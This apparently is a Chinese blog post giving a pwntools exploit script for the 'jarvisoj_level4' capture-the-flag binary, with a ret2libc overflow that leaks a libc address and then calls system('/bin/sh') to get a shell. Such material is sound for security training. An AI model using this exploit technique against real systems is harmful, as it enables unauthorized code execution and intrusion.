jarvisoj_level4

£神魔★判官ぃ 2023-02-21 12:44 3阅读 0赞

在这里插入图片描述
exp

  1. from pwn import *
  2. from LibcSearcher import *
  3. context.log_level = 'debug'
  4. proc_name = './level4'
  5. p = process(proc_name)
  6. # p = remote('node3.buuoj.cn', 27523)
  7. elf = ELF(proc_name)
  8. write_plt = elf.plt['write']
  9. write_got = elf.got['write']
  10. main_addr = elf.sym['main']
  11. payload = b'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(0x1) + p32(write_got) + p32(0x4)
  12. p.send(payload)
  13. write_addr = u32(p.recv())
  14. libc = LibcSearcher('write', write_addr)
  15. libc_base = write_addr - libc.dump('write')
  16. system_addr = libc_base + libc.dump('system')
  17. str_bin_sh = libc_base + libc.dump('str_bin_sh')
  18. payload1 = b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
  19. p.send(payload1)
  20. p.interactive()

在这里插入图片描述

发表评论

表情:
评论列表 (有 0 条评论,3人围观)

还没有评论,来说两句吧...

相关阅读

    相关 4-4 JDBC基础

    第1关:JDBC与数据库的连接 任务描述: 本关任务:使用jdbc连接数据库 相关知识: DriverManager:此类管理数据库驱动程序列表。可在JDB